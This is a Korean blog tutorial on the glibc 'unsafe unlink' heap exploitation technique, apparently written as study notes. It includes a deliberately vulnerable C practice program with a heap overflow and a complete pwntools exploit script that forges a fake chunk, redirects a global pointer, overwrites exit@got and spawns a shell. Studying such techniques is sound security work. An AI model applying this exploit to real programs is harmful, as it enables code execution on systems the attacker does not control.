상세 컨텐츠

본문 제목

Unsafe Unlink

SYSTEM HACKING/Exploit Tech

by koharin 2020. 6. 12. 18:38

본문

728x90
반응형

해제된 청크 연결하는 이중 연결 리스트에서 청크 연결을 해제하는 매크로 unlink를 이용해서 임의 주소 쓰기를 하는 공격 기법이다.

 

주소를 알 수 있는 위치(ex. 전역 버퍼)에 unlink될 청크 주소가 저장되어 있는 경우 사용 가능하다.

 

unlink 매크로: 인접한 2개 이상의 청크를 연속해서 해제할 때 인접한 청크를 병합하기 위해 사용된다.

(smallbin, largebin 경우. fastbin에서는 인접해도 병합되지 않는다.)

if(!prev_inuse(p)){
    prevsize = p->prevsize;
    size += prevsize;
    p = chunk_at_offset(p, -((long)prevsize));
    unlink(av, p, bck, fwd);
}

 

현재 청크의 prev_inuse 비트를 확인해서 이전 청크가 해제되었는지 확인하고 unlink 매크로를 호출한다.

glibc.2.23 버전에서 FD와 BK 포인터에 대한 검증이 존재해서 힙 포인터를 제외한 주소에 값을 쓰는 것이 불가능하다.

#define unlink(AV, P, BK, FD){
    FD = P->fd;
    
    BK = P->bk;
    FD->bk = BK;
    
    BK->fd = FD;
}

P->fd->bk에 P->bk 값 대입하고, P->bk->fd에 P->fd 값 대입한다.

 

unlink 매크로에서 힙 포인터 검증 코드

if(_builtinexpect(FD->bk != P || BK->fd != P, 0))
    mallocprinterr(checkaction, "corrupted double-linked list", P, AV);
    

FD->bk != P || BK->fd != P 조건을 만족하지 않으면 오류 메시지 출력 후 비정상 종료된다.

따라서 이 두 검증을 우회하기 위해 fake chunk를 구성해야 한다.

 

0 0x111
0 0
ptr-0x18 ptr-0x10
   
0x100 0x110
FD BK
   

 

익스 시나리오

#include<stdio.h>                                                              
#include<stdlib.h>
#include<unistd.h>

char *ptr[10];

void get_shell()
{
    system("/bin/sh");
}

int main(){
    int ch, idx, size;
    int i=0;

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    while(1){
        printf("> ");
        scanf("%d", &ch);

        switch(ch){
            case 1:
                if(i >= 10){
                    printf("Do not Overflow\n");
                    exit(0);
                }
                ptr[i] = malloc(0x100);
                printf("Data: ");
                read(0, ptr[i], 0x100);
                i++;
                break;
            case 2:
                printf("idx: ");
                scanf("%d", &idx);
                free(ptr[idx]);
                break;
            case 3:
                printf("idx: ");
                scanf("%d", &idx);
                printf("size: ");
                printf("data: ");
                read(0, ptr[idx], size);
                break;
            case 4:
                exit(0);
                break;
            default:
                break;
        }
    }
    return 0;
}                                              

3번 메뉴에서 입력한 사이즈만큼 데이터를 입력받아서 BOF가 가능하다.

힙 오버플로우를 이용해서 다음 청크의 prev_size나 size를 조작할 수 있다.

 

목표: 전역변수 ptr에 적힌 힙 포인터를 got 주소로 변조해서 3번 메뉴에서 edit 시 get_shell 함수 주소를 입력해 got overwrite로 쉘을 획득하는 것.

 

1. 4개 힙 할당

-인접한 두 청크가 해제 시 병합하도록 하려면 small chunk 이상으로 할당해야 한다.

-bss 세션에 stdin과 stdout에 대한 주소가 적혀있으므로 이것을 건드리지 않기 위해 4개의 힙을 할당한다.

 

2. 첫 번째 청크에 fake chunk를 구성하고, 다음 청크의 prev_size, size를 변조한다.

- fake_chunk

- 다음 청크 prev_size: fake chunk 사이즈 크기 (첫 번째 청크 데이터 크기가 0x100이므로 fake chunk는 0x100크기(헤더포함)

- fake chunk의 fd에는 ptr-0x18, bk에는 ptr-0x10을 저장한다. (P->fd->bk = P와 P->bk->fd = P 조건 만족하기 위해)

- 다음 청크 size: prev_inuse 비트 없애기 (하위 1바이트 0으로 만든다.)

 

이렇게 설정하고 free함수 호출 시 연속적으로 두 개의 청크가 해제된 것으로 생각하고 unlink 매크로 호출한다.

unlink 매크로에서 BK->fd = FD로 인해 조작된 BK에 적힌 (ptr+0x10-0x10) + 0x10 위치에 조작된 FD인 ptr-0x18가 덮혀쓰여져 힙 포인터가 전역 변수를 가리키게 된다.

 

따라서 3번 메뉴에서 세 번째 청크 edit 시 실질적으로는 전역변수 ptr에 적힌 0x601098 포인터가 가리키는 위치에 적히게 된다. 

 

stdin은 덮을 수 없으므로 청크 하나를 더 할당해서 fake chunk에 ptr+0x10 - 0x18, bk에 ptr+0x10 - 0x10을 줘서

unlink 시 (ptr+0x10-0x10) + 0x10 위치인 ptr+0x10 위치에 ptr+0x10- 0x18 = ptr - 0x8이 적히도록 한다.

그럼 ptr-0x8이 세 번째 청크에 대한 힙 포인터 위치에 적히면, 세 번째 청크 데이터 edit 시 실질적으로는 ptr-0x8에 입력을 받아서 힙 포인터들을 조작할 수 있게 된다.

 

3. 4번째 청크 해제

 

4. 3번 청크에 데이터 입력, 실질적으로 0x601098 위치에 입력받는다.

 

ptr에서 첫 번째 힙 청크에 대한 포인터가 exit@got로 변조되었다.

 

5. 1번째 edit 시 get_shell 함수 주소 입력해서 got overwrite

6. 4번 메뉴에서 exit(0) 시 쉘 획득

 

익스 코드

#!/usr/bin/python                                                                     
from pwn import *

p = process("./unlink2")
elf = ELF("./unlink2")
get_shell = elf.symbols['get_shell']
ptr = elf.symbols['ptr']

def malloc(data):
    p.sendlineafter("> ", '1')
    p.sendafter("Data: ", data)

def free(idx):
    p.sendlineafter("> ", '2')
    p.sendlineafter("idx: ", str(idx))

def edit(idx, size, data):
    p.sendlineafter("> ", '3')
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("size: ", str(size))
    p.sendafter("data: ", data)

def exit():
    p.sendlineafter("> ", '4')

malloc('A'*0x10)
malloc('B'*0x10)
malloc('C'*0x10)
malloc('D'*0x10)

data = p64(0) + p64(0) + p64(ptr+0x10-0x18) + p64(ptr+0x10-0x10)
data += 'A'*(0x100-len(data)) + p64(0x100) + p64(0x110)

edit(2, 0x130, data)

gdb.attach(p)
free(3)
edit(2, 0x10, 'A'*8 + p64(elf.got['exit']))
edit(0, 8, p64(get_shell))
exit()

p.interactive()  

 

728x90
반응형

'SYSTEM HACKING > Exploit Tech' 카테고리의 다른 글

tcache memory leak  (0) 2020.06.13
House of Force  (0) 2020.06.12
Poison NULL Byte  (0) 2020.06.12
Unsorted bin attack  (0) 2020.06.11
Tcache House of Spirit  (0) 2020.06.11

관련글 더보기